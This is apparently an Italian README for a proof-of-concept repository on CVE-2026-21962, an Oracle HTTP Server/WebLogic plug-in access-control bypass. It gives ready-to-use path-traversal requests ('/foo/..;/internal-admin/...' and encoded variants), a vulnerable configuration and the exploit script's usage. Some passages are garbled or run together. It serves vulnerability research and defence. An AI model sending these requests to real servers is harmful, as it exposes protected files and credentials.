
PoC verificato e analisi per CVE-2026-21962, un bypass del controllo degli accessi in Oracle HTTP Server/WebLogic Proxy Plug-in tramite un'incoerenza nella normalizzazione degli URI, con script di exploit e prove.
Un exploit e un'analisi riprodotti in modo indipendente per CVE-2026-21962 (controllo accessi improprio, CVSS 10.0) in Oracle HTTP Server / il Proxy Plug-in di Oracle WebLogic Server per Apache HTTP Server.
Stato: verificato contro OHS 12.2.1.4.0 e 14.1.2.0.0 live che fungono da front-end per WebLogic Server 12.2.1.4.
Il front-end (OHS + mod_wl_ohs) e il backend (WebLogic) normalizzano
..; in modo diverso. Una richiesta come:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
bypassa una regola di protezione front-end <Location /internal-admin> perché OHS
non comprime ..;, mentre WebLogic ( = parametro di percorso
servlet, = parent). Il backend serve quindi il percorso protetto.
Risultato: (CWE-284).
;..Vedi analysis/root-cause.md.
mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
come front-end per WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
come front-end per WebLogic Server 12.2.1.4..env protetto):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), a prova del bypass.X-ORACLE-DMS-*, a prova che si tratta di una
risposta genuina del backend (WebLogic)./internal-admin/...
(GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl, affetto in
12.2.1.4.0). Ci si aspetta lo stesso meccanismo (risoluzione del percorso servlet
sul backend), ma non è stato riprodotto su Windows.analysis/patch-analysis.md).| ruolo | componente | versione |
|---|---|---|
| front-end | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| plug-in | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| backend | Oracle WebLogic Server | 12.2.1.4 |
| app protetta | /internal-admin/cont/.env (credenziali fittizie) | — |
Configurazione front-end utilizzata (trigger minimo):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Stessa richiesta, stesso front-end, stesso backend — solo la gestione di
..; da parte del front-end è modificata.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| distribuzione | HTTP | esposto | backend raggiunto |
|---|---|---|---|
| vulnerabile | 200 | sì (credenziali .env) | sì (X-ORACLE-DMS-*) |
| patchato (normalizzazione corretta) | 404 | no | no |
Evidenza grezza (richiesta / risposta / log del server):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : rileva automaticamente il prefisso proxy WLSRequest (es. /foo).-c : percorso protetto sul backend (default internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-*; la richiesta
di controllo (diretta) deve essere bloccata affinché il verdetto sia positivo.Vedi exploit/README.md per i dettagli. Utilizza solo contro sistemi su cui sei
autorizzato a testare.
.
├── README.md questo file
├── exploit/
│ ├── CVE-2026-21962.py PoC verificato (controllo di perdita deterministico)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md analisi della mancata corrispondenza di normalizzazione
│ └── patch-analysis.md diff binario + A/B equivalente alla patch
└── poc-factcheck.md tabella di credibilità dei PoC pubblici + dettaglio per PoC
Strumenti di rilevamento / mappatura attivi (fingerprint, sonda cieca, mappa di
normalizzazione) che funzionano SENZA conoscere un percorso protetto sono mantenuti
separatamente in ../../probe/.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aQuesto materiale è fornito per la ricerca sulle vulnerabilità e la validazione difensiva.
Non utilizzarlo contro sistemi senza autorizzazione. Il contenuto .env nelle
evidenze è fittizio; non sono incluse credenziali reali.